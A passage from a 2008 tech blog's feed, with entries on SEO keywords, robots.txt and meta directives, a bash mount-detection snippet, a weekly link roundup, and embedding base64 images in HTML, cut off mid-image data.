&lt;p&gt;Click &lt;a href=&#34;/howto/embedding-images-in-html/&#34;&gt;here&lt;/a&gt; to read about embedded html images.&lt;/p&gt;

&lt;p&gt;Here is an example of linking with descriptive keywords.&lt;/p&gt;

&lt;p&gt;You can read more about &lt;a href=&#34;/howto/embedding-images-in-html/&#34;&gt;embedded html images&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A great example of a site that does this extremely well is &lt;a href=&#34;http://www.wikipedia.com&#34;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Keyword Density&lt;/h3&gt;

&lt;p&gt;Search engines will look at all the attributes on the page and weight how many times you mention different words in an article.  This is why longer articles appear in more keywords and do better in search results.  As far as SEO goes it usually isn&amp;rsquo;t worth going through articles and adding extra keywords so that the search words are more frequent; however, it is worth keeping this in mind when comming up with descriptive tiles and alt tags. I recommend taking a good look at your articles or pages and really think about what that article is about and come up with a descriptive title.  This will benefit your users and the search results.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bottom line: Titles should match the content.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;You may have found a theme when reading about various keyword placement and SEO techniques.  They all revolve around the golden SEO rule.  You are trying to make your site more descriptive to your users and bots.  We are not trying to trick anyone here.  We just want to make sure that it is clear what each page is about.  Google has said time and time again that making your site clear and concise to your users and provide great content will ultimately increase your page rank.  This is what SEO is all about.&lt;/p&gt;

&lt;p&gt;Read the rest of &lt;a href=&#34;/seo/ultimate-guide-to-seo-series/&#34;&gt;The Ultimate SEO Guide&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Ultimate Guide to SEO: Robots.txt</title>
		<link href="https://www.marksanborn.net/seo/ultimate-guide-to-seo-robotstxt/index.html" />
		<updated>2008-07-03T00:00:00Z</updated>
		<id>https://www.marksanborn.net/seo/ultimate-guide-to-seo-robotstxt/index.html</id>
		<content type="html">&lt;p&gt;This post is the first part of the series Ultimate Guide to SEO.  To get the most out of this article you will want to read the entire series.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;What is the Robot Exclusion Protocol (REP)&lt;/h3&gt;

&lt;p&gt;Since it was introduced in the early &amp;lsquo;90s, REP has become the de facto standard by which web publishers specify which parts of their site they want public and which parts they want to keep private.  I  use robots.txt on this site to keep the search engines away from parts of the site that &lt;a href=&#34;/seo/duplicate-content-causes-seo-problems-in-wordpress/&#34;&gt;contain duplicate content&lt;/a&gt;.  Often times sites exclude private data that they don&amp;rsquo;t want indexed.  This is where the Robot Exclusion Protocol or robots.txt comes in.&lt;/p&gt;

&lt;p&gt;Wikipedia&amp;rsquo;s definition for REP.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The robot exclusion standard, also known as the Robots Exclusion Protocol or robots.txt protocol, is a convention to prevent cooperating web spiders and other web robots from accessing all or part of a website which is otherwise publicly viewable. Robots are often used by search engines to categorize and archive web sites, or by webmasters to proofread source code. The standard complements Sitemaps, a robot inclusion standard for websites.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The REP is still evolving based on the entire internet communities needs; however, There isn&amp;rsquo;t a true standard that is followed by all of the major search engines.  Although Google has worked with Microsoft and Yahoo they each have their own implementation of the protocol.  This is why it is important to understand the differences between them.&lt;/p&gt;

&lt;p&gt;This article will explore Google&amp;rsquo;s implementation thoroughly and breifly touch on the differences between Microsoft and Yahoo&amp;rsquo;s implementation.  My explanations will be based on &lt;a href=&#34;http://googlewebmastercentral.blogspot.com/2008/06/improving-on-robots-exclusion-protocol.html&#34;&gt;Google&amp;rsquo;s released detailed documentation&lt;/a&gt; on how they implement REP.&lt;/p&gt;

&lt;h3&gt;Robots.txt Directives&lt;/h3&gt;

&lt;p&gt;According to &lt;a href=&#34;http://googlewebmastercentral.blogspot.com/2008/06/improving-on-robots-exclusion-protocol.html&#34;&gt;Google&amp;rsquo;s documentation&lt;/a&gt; these directives are implemented by all three major search engines: Google, Microsoft, and Yahoo.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Disallow&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Allow&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;$ Wildcard Support&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;ul&gt;
&lt;li&gt;Wildcard Support&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Sitemaps Location&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Disallow&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;:Tells a crawler not to index your site &amp;ndash; your site&amp;rsquo;s robots.txt file still needs to be crawled to find this directive, however disallowed pages will not be crawled
&lt;strong&gt;Use Cases&lt;/strong&gt;: &amp;lsquo;No Crawl&amp;rsquo; page from a site. This directive in the default syntax prevents specific path(s) of a site from being crawled.
&lt;strong&gt;Mark&lt;/strong&gt;: This is probably the most commonly used directive.  Since the Googlebot penalizes for duplicate content I use this extensively in my robots.txt to hide duplicate content.  This directive is also useful if you want to hide private or subscription data from bots.  Although subscription pages will probably be password protected you should also add these pages to the disallow just in case.&lt;/p&gt;

&lt;h4&gt;Allow&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: Tells a crawler the specific pages on your site you want indexed so you can use this in combination with Disallow
&lt;strong&gt;Use Cases&lt;/strong&gt;: This is useful in particular in conjunction with Disallow clauses, where a large section of a site is disallowed except for a small section within it
&lt;strong&gt;Mark&lt;/strong&gt;: The allow clause will trump the disallow.  This is helpful if you want to allow a specific page in a directory that would normally be disallowed.&lt;/p&gt;

&lt;h4&gt;$ Wildcard Support&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: Tells a crawler to match everything from the end of a URL &amp;ndash; large number of directories without specifying specific pages
&lt;strong&gt;Use Cases&lt;/strong&gt;: &amp;lsquo;No Crawl&amp;rsquo; files with specific patterns, for example, files with certain filetypes that always have a certain extension, say pdf
&lt;strong&gt;Mark&lt;/strong&gt;: If you have an upload folder for your blog or website and you want to restrict a specific filetype but allow images to be indexed you could use this directive.&lt;/p&gt;

&lt;h4&gt;* Wildcard Support&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: Tells a crawler to match a sequence of characters
&lt;strong&gt;Use Cases&lt;/strong&gt;: &amp;lsquo;No Crawl&amp;rsquo; URLs with certain patterns, for example, disallow URLs with session ids or other extraneous parameters
&lt;strong&gt;Mark&lt;/strong&gt;: This is probably the second most used directive in conjuntion with the disallow.  Allows you to match multiple directories at once.  One word of caution here is to test your robots.txt with Google&amp;rsquo;s &lt;a href=&#34;https://www.google.com/webmasters/sitemaps/&#34;&gt;Webdeveloper Tool&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;Sitemaps Location&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: Tells a crawler where it can find your Sitemaps
&lt;strong&gt;Use Cases&lt;/strong&gt;: Point to other locations where feeds exist to help crawlers find URLs on a site
&lt;strong&gt;Mark&lt;/strong&gt;: It is a good idea to create a sitemap for your website and include it in your robots.txt.  You can also tell Google where your sitemap is through the &lt;a href=&#34;https://www.google.com/webmasters/sitemaps/&#34;&gt;webdeveloper tool&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;HTML META Directives&lt;/h3&gt;

&lt;p&gt;Not only can you provide rules that search engine bots must follow through robots.txt, you can also specify rules per html page.  This is often required for sites that want the search spider to follow through links to other pages but to refrain from indexing that specific page.  I use this method on this blog.  I want the search spiders to follow my links from category and archive pages but to exclude the category and achrive listings since they contain duplicate content.&lt;/p&gt;

&lt;p&gt;The following HTML META directives are implemented by all three major search engines: Google, Microsoft, and Yahoo.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;NOINDEX META Tag&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;NOFOLLOW META Tag&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;NOSNIPPET META Tag&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;NOARCHIVE META Tag&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;NOODP META Tag&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will first give you the exact description given by Google&amp;rsquo;s documentation and then give you my own explination along with examples when necessary.&lt;/p&gt;

&lt;h4&gt;NOINDEX META Tag&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;:  Tells a crawler not to index a given page.
&lt;strong&gt;Use Cases&lt;/strong&gt;: Don&amp;rsquo;t index the page.  This allows pages that are crawled to be kept out of the index.&lt;/p&gt;

&lt;h4&gt;NOFOLLOW META Tag&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: Tells crawler not to follow a link to other content on a give page.
&lt;strong&gt;Use Cases&lt;/strong&gt;: Prevent publicly writeable areas to be abused by spammers looking for link credit.  By using NOFOLLOW you let the robot know that you are dicounting all outgoing links from this page.
&lt;strong&gt;Mark&lt;/strong&gt;:  A good place to put this tag is on outgoing links in commented areas.  Wikipedia uses this method on all external links placed on wiki pages.  It should also be noted that this not only can be used for entire pages but individual links:&lt;/p&gt;

&lt;p&gt;Example: &lt;code&gt;&amp;lt;a href=&amp;quot;http://Somespamlink.com&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;Some comment spam&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;NOSNIPPET META Tag&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: Tells a crawler not to display snippets in the search results for a given page.
&lt;strong&gt;Use Cases&lt;/strong&gt;: Present no snippet for the page on Search Results.&lt;/p&gt;

&lt;h4&gt;NOARCHIVE META Tag&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: Tells a search engine not to show a &amp;ldquo;cached&amp;rdquo; link for a given page.
&lt;strong&gt;Use Cases&lt;/strong&gt;: Do not make available to users a copy of the page from the Search Engine Cache.&lt;/p&gt;

&lt;h4&gt;NOODP META Tag&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;: Tells a crawler not to use a title and snippet from the Open Directory Project for a given page.
&lt;strong&gt;Use Cases&lt;/strong&gt;: Do not use the ODP (Open Directory Project) title and snippet for this page.
&lt;strong&gt;Mark&lt;/strong&gt;: If you do a quick search for Marksanborn.net you will see that my google snippet is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Includes howtos and guides for Linux, PHP, Security, SEO and Software.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Which matches exactly to &lt;a href=&#34;http://search.dmoz.org/cgi-bin/search?search=marksanborn&#34;&gt;The Open Directory Project (http://www.dmoz.com)&lt;/a&gt;.  If I wanted to change my snippet I would add this directive to my index page.&lt;/p&gt;

&lt;h3&gt;Targeting specifc Search Spiders (user-agents)&lt;/h3&gt;

&lt;p&gt;Each visitor to a website will have a string that is identified by user-agent.  This is the same string that we can use in our robots.txt that allows us to specify different rules for different search spiders.  For example you could deny access to your archive articles because of [Google&amp;rsquo;s duplicate content penality] and allow the same archives to Yahoo&amp;rsquo;s bot.&lt;/p&gt;

&lt;p&gt;Not only can the Google bot be identified with the user-agent string but also can be identified using reverse DNS based authentication.  This allows for an alternative way to verify the identity of the crawler.&lt;/p&gt;

&lt;p&gt;Here are some common user-agents for search engines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Googlebot - Google&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Googlebot-Image - Google Image&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;msnbot-Products - Windows Live Search&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Mediapartners-Google - Google Adsense&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Yahoo! Slurp - Yahoo!&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Baiduspider+( - Baidu&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;ia_archiver - Alexa&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Ask Jeeves - Ask Jeeves&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Gigabot/ - Gigabot&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;msnbot-media/ - MSN Media&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;W3C_*Validator - W3C Validator&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Feedfetcher-Google - Google Feedfetcher&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;msnbot-NewsBlogs/ - MSN News Blogs&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;So where can I put these rules?&lt;/h3&gt;

&lt;p&gt;You can put these in all forms of html and non html type documents.  The most common place for these is robots.txt.  This file is checked by all bots before entering a page and will adhere to the rules in the file for the entire domain.  All you have to do is create a text file in the root directory of your domain with the name &amp;lsquo;&lt;strong&gt;robots.txt&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;These robot exclusions can also be put in non html files like, PDF and Video files using the X-Robots-Tag.  You place these directives in the file&amp;rsquo;s &lt;a href=&#34;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html&#34;&gt;http header&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Google also has a &lt;a href=&#34;https://www.google.com/webmasters/sitemaps/&#34;&gt;web developer tool&lt;/a&gt; that will simulate their bots going to your site.  It will show you which URLs were excluded due to your robots.txt.  You can even modify your robots.txt for testing purposes through their tool.  This will help make sure you don&amp;rsquo;t accidently exclude the wrong directories/pages.&lt;/p&gt;

&lt;h3&gt;Robots.txt for Wordpress&lt;/h3&gt;

&lt;p&gt;Since the default installation of &lt;a href=&#34;/seo/duplicate-content-causes-seo-problems-in-wordpress/&#34;&gt;Wordpress is full of duplicate content&lt;/a&gt; I have created a robots.txt file to focus the Google bot&amp;rsquo;s attention on indexing the actual articles.  Before I implemented my robots.txt file my rss feed page and archive listings were indexed over the actual articles.  Here is an example of my robots.txt  that removes most of the duplicate content in Wordpress.  If you want to know more about Wordpress&amp;rsquo; duplicate content problems check out, &lt;a href=&#34;/seo/duplicate-content-causes-seo-problems-in-wordpress/&#34;&gt;Duplicate Content Causes SEO Problems in Wordpress&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;User-agent: *
Disallow: /wp-
Disallow: /search
Disallow: /feed
Disallow: /comments/feed
Disallow: /feed/$
Disallow: /*/feed/$
Disallow: /*/feed/rss/$
Disallow: /*/trackback/$
Disallow: /*/*/feed/$
Disallow: /*/*/feed/rss/$
Disallow: /*/*/trackback/$
Disallow: /*/*/*/feed/$
Disallow: /*/*/*/feed/rss/$
Disallow: /*/*/*/trackback/$&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;References&lt;/h3&gt;

&lt;p&gt;Below are links to the official documentation for REP from the three major search engines: Google, Microsoft and Yahoo.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://googlewebmastercentral.blogspot.com/2008/06/improving-on-robots-exclusion-protocol.html&#34;&gt;Google&amp;rsquo;s Policy&lt;/a&gt;
&lt;a href=&#34;http://blogs.msdn.com/webmaster/archive/2008/06/03/robots-exclusion-protocol-joining-together-to-provide-better-documentation.aspx&#34;&gt;Microsoft&amp;rsquo;s Policy&lt;/a&gt;
&lt;a href=&#34;http://www.ysearchblog.com/archives/000587.html&#34;&gt;Yahoo&amp;rsquo;s Policy&lt;/a&gt;
&lt;a href=&#34;http://www.google.co.uk/intl/en/press/files/webmaster-guide-en.pdf&#34;&gt;Robot.txt for publishers PDF&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Read the rest of &lt;a href=&#34;/seo/ultimate-guide-to-seo-series/&#34;&gt;The Ultimate SEO Guide&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Ultimate Guide to SEO: Series</title>
		<link href="https://www.marksanborn.net/seo/ultimate-guide-to-seo-series/index.html" />
		<updated>2008-07-02T00:00:00Z</updated>
		<id>https://www.marksanborn.net/seo/ultimate-guide-to-seo-series/index.html</id>
		<content type="html">&lt;p&gt;Face it you can have the best site in the world.  But if it isn&amp;rsquo;t Seach Engine Optimized (SEO) you won&amp;rsquo;t have much for visitors.  Search engine optimization can lead to a difference of being on the 30th page of google right up to being on the first page.  Usually it is not the content or the lack of incomming links that is driving your page to the bottom.  It is a problem getting your page to be more &amp;ldquo;machine readable&amp;rdquo;.  You have to look at your page from Google&amp;rsquo;s perspective.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;You can&amp;rsquo;t look at your site and say.  I have great content, great graphics why wouldn&amp;rsquo;t google think my page is worth higher mention in its index?  Well we know your page is great and content is there but have you ever wondered what your page looks like from a search spider&amp;rsquo;s point of view?&lt;/p&gt;

&lt;p&gt;Nobody really knows they exact secret algorithm Google uses to seperate the men from the boys, but they have given us guidelines.  We can use these guidlines to make our pages more &amp;ldquo;machine readable&amp;rdquo;.  Although some of these guidelines cannot easily be changed, like incoming links, there are a ton that we can do right away to improve page rank and this is what this series aims to do.  I want to get everyone up to speed with Google&amp;rsquo;s SEO guidelines.&lt;/p&gt;

&lt;p&gt;This article will mainly focus on &amp;ldquo;white hat&amp;rdquo; techniques taken straight from the horse&amp;rsquo;s mouth, Google.  So there will be no if ands or buts about the techniques these are proven to help your site.  You have to be careful when applying SEO techniques because Google punishes the sneaky snakes.  Remember the Golden SEO Rule, &lt;strong&gt;SEO is about making your pages machine accessible.  It&amp;rsquo;s not ment to trick search engines into indexing you for irrelevent keywords&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Stay tuned for the series of posts that will transform your SEO from zero to hero.&lt;/p&gt;

&lt;p&gt;Some of the topics will include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;/seo/ultimate-guide-to-seo-robotstxt/&#34;&gt;Robots.txt&lt;/a&gt;
&lt;a href=&#34;/seo/ultimate-guide-to-seo-keywords/&#34;&gt;Keywords&lt;/a&gt;
Sitemaps
Duplicate Content
&lt;a href=&#34;/seo/ultimate-guide-to-seo-meta-description/&#34;&gt;Meta Description&lt;/a&gt;
The &amp;ldquo;nofollow&amp;rdquo; Tag
Paid Text Link Ads
What NOT to do when making your site SEO
Understanding Pagerank
Domain Authority
and more!!!&lt;/strong&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Detecting a Mount in BASH</title>
		<link href="https://www.marksanborn.net/howto/detecting-a-mount-in-bash/index.html" />
		<updated>2008-06-30T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/detecting-a-mount-in-bash/index.html</id>
		<content type="html">&lt;p&gt;Often times we will use bash to create scripts for backing up or transfering files.  A lot of times these files are transfered over a mounted network share or an external usb drive.  Since these mount points are not always mounted we need to come up with a script that will detect the mount before we perform our operation.  I have come up with a script that I think is simple enough that uses &lt;strong&gt;df&lt;/strong&gt; and &lt;strong&gt;grep&lt;/strong&gt; to detect the mount.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;The code&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;if df | grep -q &#39;/mnt/yourMountPoint&#39;
        then
        echo &amp;quot;Found mount point, running task&amp;quot;
        # Do something
        else
        echo &amp;quot;Error, disk is not mounted&amp;quot;
        exit -1
fi
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Explanation&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;df&lt;/strong&gt; command will print out the current disk usage information on all the mount points.  We then pipe &amp;lsquo;&lt;strong&gt;|&lt;/strong&gt;&amp;rsquo; the information to grep.  Grep searches through for the string.  In our case we are using, &amp;lsquo;&lt;strong&gt;/mnt/yourMountPoint&lt;/strong&gt;&amp;rsquo;.  The &amp;lsquo;&lt;strong&gt;-q&lt;/strong&gt;&amp;rsquo; switch we are passing through tells grep to return an exit signal instead of printing the matching text to the screen.  This allows us to write our if statement without filling up a log file full of &amp;lsquo;&lt;strong&gt;/mnt/yourMountPoint&lt;/strong&gt;&amp;rsquo; strings.&lt;/p&gt;

&lt;p&gt;Once you have your script running you might want to have it &lt;a href=&#34;/linux/learning-cron-by-example/&#34;&gt;run automatically with cron&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 13</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-13/index.html" />
		<updated>2008-06-28T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-13/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://developer.yahoo.com/performance/rules.html&#34;&gt;Yahoo&amp;rsquo;s Website Performance Rules&lt;/a&gt; - This is a must read if you develop websites.  The author is the cheif optimization engineer for Yahoo and author of &lt;a href=&#34;http://www.amazon.com/gp/product/0596529309?ie=UTF8&amp;amp;tag=marsannet-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0596529309&#34;&gt;High Performance Web Sites: Essential Knowledge for Front-End Engineers&lt;/a&gt;, published by O&amp;rsquo;Reilly.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.linuxhaxor.net/2008/05/20/5-ways-to-screencast-your-linux-desktop/&#34;&gt;5 Ways to Screencast Your Linux Desktop&lt;/a&gt; - If you are looking to make screen casts or video tutorials on Linux make sure you check this article.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.linuxhaxor.net/2008/06/24/vi-assistant/&#34;&gt;Vi Assistant&lt;/a&gt; - This is funny :)&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://news.softpedia.com/news/Firefox-3-Vulnerabilities-Could-Affect-Over-8-Millions-Computers-88478.shtml&#34;&gt;Firefox 3 Vulnerabilities Could Affect Over 14 Million Computers&lt;/a&gt; - Vulnerabilities are already lurking around.  I suspect Firefox will be the target browser for exploit attacks with its upcoming popularity.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.pcworld.com/businesscenter/article/147400/nearly_half_of_it_workers_snoop_in_confidential_files.html&#34;&gt;Nearly Half of IT Workers Snoop in Confidential Files&lt;/a&gt; - This article brings up a good point.  I remember when working fo the university we had access to many resources in which we should have been privy to.  But who monitors the IT?  How do we seperate something that has to be controlled by IT?&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.imagemagick.org/&#34;&gt;Imagemagick&lt;/a&gt; - Great opensource image manipulator.  It converts and identifes images of all sorts.  It is a very handy tool to keep in your toolbox.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.vim.org&#34;&gt;Vim&lt;/a&gt; - If you have been reading this blog lately or just a open source fan you have probably heard of Vim by now.  You may even be using it.  If you aren&amp;rsquo;t sure if it is for you please give it another chance.  I was myself on the fence with this.  I knew it was a great program but I was worried about the learning curve and took longer to get into it.  My only regret is not learning this program earlier.  It is an absolutely amazing program.  I suggest chaning your default editor to Vim and forcing yourself to use it.  You will be less productive for awhile but you will quickly learn it and will be FAR worth the investment.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blog.xshock.de/browsers/67/developer-tools-for-browsers&#34;&gt;Developer Tools for Browsers&lt;/a&gt; - A very nice list of developer tools to help speed up the process.  The article includes tools for Firefox, IE, and Opera.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Embedding Images in HTML</title>
		<link href="https://www.marksanborn.net/howto/embedding-images-in-html/index.html" />
		<updated>2008-06-25T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/embedding-images-in-html/index.html</id>
		<content type="html">&lt;p&gt;After doing some research on &lt;a href=&#34;/howto/embed-css-in-your-html-for-faster-load-times/&#34;&gt;embedding CSS in HTML&lt;/a&gt; I found an interesting link.  It turns out that you can embed image data into your HTML URLs.  This means that image will be downloaded along with the HTML reducing the total amount of server requests.  If you could do this to all of your images you could effectively have a SINGLE request to download the entire webpage contents.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;So what&amp;rsquo;s the catch?  The catch is that this technique is not supported in every browser.  It appears that IE7 doesn&amp;rsquo;t like it too much.  In my tests IE7 thought the page was a phishing attempt and didn&amp;rsquo;t display the image.  Firefox and Opera worked just fine.&lt;/p&gt;

&lt;p&gt;The technique of combining data with HTML as one request &lt;a href=&#34;http://tools.ietf.org/html/rfc2397&#34;&gt;has been around since 1995&lt;/a&gt;.  So why have we not seen this implemented on a large scale?  Why hasn&amp;rsquo;t Internet Explorer added this?  After doing some more searching it looks like IE8 beta 1 will implement it.&lt;/p&gt;

&lt;p&gt;If you have a supporting browser like Opera or Firefox, you should see a picture of tux below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;data:image/png;base64,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